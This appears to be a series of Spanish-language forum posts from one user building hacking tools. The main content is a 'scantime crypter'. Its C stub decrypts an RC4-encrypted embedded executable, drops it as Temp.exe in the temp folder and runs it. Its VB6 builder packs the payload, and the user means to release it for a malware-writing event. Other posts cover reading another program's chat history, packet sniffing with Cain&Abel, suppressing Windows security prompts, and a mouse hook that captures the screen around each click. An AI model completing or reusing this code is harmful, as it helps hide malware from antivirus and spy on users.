Bueno ahi lo dice bien claro el titulo, estoy desarrollando un proyecto y necesito saber como leer ese tipo de archivos digamos.. para leerlos claramente.

Un saludo! =)

Bueno estoy intentando obtener el contenido del historial de las conversaciones del Windows Live Messenger, lo que he hecho hasta ahora es obtener las ventanas y sus controles con EnumWindows y EnumChildWindows, luego con el programa AccExplorer he visto el nombre del control :



En el code he debugeado infinitas veces y en una conversación me puede obtener bastantes nombres con DirectUIHWND :


Un problema es que no se si es exactamente el que estoy buscando el 'Historial', apartando esta duda he intentado obtener el valor de esos controles con SendMessage copiando el valor al clipboard :

SendMessage(lngWinChildHandle(x), WM_COPY, 0, 0)

La API me devuelve 0 y no me copia nada al clipboard.

No se que puedo hacer para cumplir mi objetivo que es obtener el contenido del historial, y me gustaria hacerlo por este método, no capturando paquetes ni nada.

Saludos!

Bueno antes de ayer me he puesto las pilas con el Cain&Abel, buenisima herramienta, pero tengo un problema, en el portatil mio cuando hago un escaner con todas las opciones seleccionadas en los hosts conectados a la red, no detecta ninguno.. y hay dos sobremesas mas conectados al mismo router, mi portatil se conecta al router por Wifi. En cambio en mi otro sobremesa hago el escaner y detecta todos los pcs que hay en la red, y puedo sniffear los paquetes perfectamente.

¿Que ocurre que mi portatil no detecta ningún otro host?

Aqui dejo la configuración que tengo :



Ayuda 

Bueno hace varios dias que llevo con este problemilla por mas que he preguntado a amiguetes que conocen C no encuentran el error.. es un crypter 'scantime' y mando los datos del cifrado por recursos, no se que estoy haciendo mal para que el stub no haga ninguna acción, y no veo el error.

El encriptador está en VB6, os pongo el binario por si me queréis ayudar probandolo con el stub, mirandolo con un editor de recursos para ver si pasa los datos bien etc (pero si los pasa bien..) aqui os lo dejo (el encriptador en VB6).

El stub está metido como recurso en el encriptador, asi que si queréis probar o algo necesitaréis meterlo de nuevo y sobreescribir el otro.

Este es el code del stub en C (compilado con Visual C++ 6) :

#pragma optimize("gsy", on)
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/ENTRY:main")
 
#include <windows.h>
 
LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen);
 
void main()
{
	HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);
	DWORD Size=SizeofResource(GetModuleHandle(NULL),hRes);
	MessageBoxA(0,"1","",0);
 
	LPSTR Buff=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size);
	LPSTR tFile=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MAX_PATH);
	MessageBoxA(0,"2","",0);
 
	HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
	Buff=(LPSTR)LockResource(hBuff);
	LPSTR xPass=&Buff[Size-11];
 
	Buff=RC4(Buff,xPass,Size-11,10);
	MessageBoxA(0,"4","",0);
	GetTempPath(MAX_PATH,tFile);
	lstrcatA(tFile,"\\Temp.exe");
 
	HANDLE hFile=CreateFile(tFile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
	WriteFile(hFile,Buff,Size,0,0);
	CloseHandle(hFile);
 
	ShellExecute(NULL,NULL,tFile,NULL,NULL,1);
}
 
LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen)
{
	int i, j = 0, s[256];
	DWORD dw;
	BYTE tmp;
	LPBYTE Buf = (LPBYTE)szBuf;
	LPBYTE Key = (LPBYTE)szKey;
	for(i = 0; i < 256; i++)
	{
		s[i] = i;
	}
	for(i = 0; i < 256; i++)
	{
		j = (j + s[i] + Key[i % dwKeyLen]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}
	for(dw = 0; dw < dwBufLen; dw++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		Buf[dw] ^= s[(s[i] + s[j]) % 256];
	}
	return (LPSTR)Buf;
}

Los MessageBox para saber hasta donde llegaba, ya que todavia no me manejo bien con el Olly xD
A ver si podeis encontrar el error y hacerme algunas recomendaciones, y lo publico para el abril negro =)

Saludos!

PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  

Bueno estoy guiandome de un Tips de Leandro y de la MSDN, pero aun sigo teniendo problemas para comprimir los datos de una variable.

Public Declare Function RtlGetCompressionWorkSpaceSize Lib "NTDLL" (ByVal flags As Integer, WorkSpaceSize As Long, UNKNOWN_PARAMETER As Long) As Long
Public Declare Function RtlCompressBuffer Lib "NTDLL" (ByVal flags As Integer, ByVal BuffUnCompressed As Long, ByVal UnCompSize As Long, ByVal BuffCompressed As Long, ByVal CompBuffSize As Long, ByVal UNKNOWN_PARAMETER As Long, OutputSize As Long, ByVal WorkSpace As Long) As Long
Public Declare Function RtlDecompressBuffer Lib "NTDLL" (ByVal flags As Integer, ByVal BuffUnCompressed As Long, ByVal UnCompSize As Long, ByVal BuffCompressed As Long, ByVal CompBuffSize As Long, OutputSize As Long) As Long
 
 
Public Function Compress(Data As String) As String
 Dim lenCompress    As Long
 Dim xWorkSpace     As Long
 
   RtlGetCompressionWorkSpaceSize 2, xWorkSpace, 0
   RtlCompressBuffer 2, VarPtr(Data), LenB(Data), VarPtr(Compress), LenB(Compress), 4096, lenCompress, xWorkSpace
   Debug.Print Len(Compress)
End Function

Que puede ser? x)

PD : Me crashea..

Bueno me está pasando algo raro con estas dos API's.. el problema de WriteFile es que me escribe un archivo de 100MB cuando el contenido de la variable solo es de 8kb, y el problema de ReadFile es que no me mete los datos a la variable.

Os dejo el source :

API's :

Public Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
Public Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByRef lpOverlapped As Any) As Long

Public Function cFile(Path As String)
 xRes = LoadResData(101, "STUB")
 sRes = StrConv(xRes, vbUnicode)
 
 frmMain.lPorcent.Caption = "20%"
 
 hFile = CreateFile(Path, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0, 0)
 WriteFile hFile, sRes, Len(sRes), 0, 0
 CloseHandle hFile
 
 frmMain.lPorcent.Caption = "30%"
 
 hFile = CreateFile(frmMain.txtFile.Text, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0)
 sFile = GetFileSize(hFile, 0)
 ReadFile hFile, Buff, sFile, 0, 0
 CloseHandle hFile
 
 frmMain.lPorcent.Caption = "40%"
 
 Buff = RC4(Buff, frmMain.txtPass.Text) & frmMain.txtPass.Text
 
 frmMain.lPorcent.Caption = "90%"
 
 hRes = BeginUpdateResource(Path, vbTrue)
 UpdateResource hRes, "DATA", RT_RCDATA, 0, Buff, Len(Buff)
 EndUpdateResource hRes, vbFalse
 
 frmMain.lPorcent.Caption = "100% - Encrypted!"
End Function

Estoy haciendo un crypter en VB6/C y decidí hacerlo todo con API's.

Saludos!

Bueno estoy loquisimo con esto..    ya no se que mas probar y lo que estoy probando ahora me he quedado a medias.
Bajé el VistaUACMaker y agrega el manifest para ejecutar el programa como administrador, el problema es que todavia sigue saliendo el mensajito :



Estoy intentando agregarle una firma digital pero no encuentro el programa de la SDK llamado (SignTool), creo que si le agrego la firma no lo reconocerá como desconocido. Quería preguntar... no hay alguna otra manera por VB?..

Saludos! 

Bueno quiero que cuando el raton haga click capture una imagen de su alrededor de 50x50, estoy intentando por ahora que al hacer click por lo menos capture y despues de varios intentos he llegado a la conclusion de que tengo que hacer hooks al raton, me puse a buscar ejemplos mas o menos del hook al raton pero no me sirvieron, la idea es por ahora que al hacer click capture la imagen de la ventana activa y ya luego el otro problema seria mostrando el puntero en la captura de 50x50

Esta sería la función que capturaría la ventana activa :

Public Function cWindow()
  Num = Num + 1
  keybd_event 44, 0, 0&, 0&
  DoEvents
  If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), sIM & Num & ".bmp"
End Function
 

Y lo que intento hacer es ahora con las siguientes declaraciones, es saber cuando se hizo click y llamar a la otra función :

Public Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
 
Public Const WH_MOUSE As Long = 7
 

Saludos!

A que se debe esa lupa?, no instale nada, salió sola..
No tiene menu popup, no encuentro su proceso ni nada de nada

:S

Bueno estoy probando a hacer un constructor con ASM, la mejor manera que pensé fue agreganndole un recurso desde el constructor al stub con los datos dentro, ahora el dilema es como abrir el recurso que agregó el constructor?

Saludos!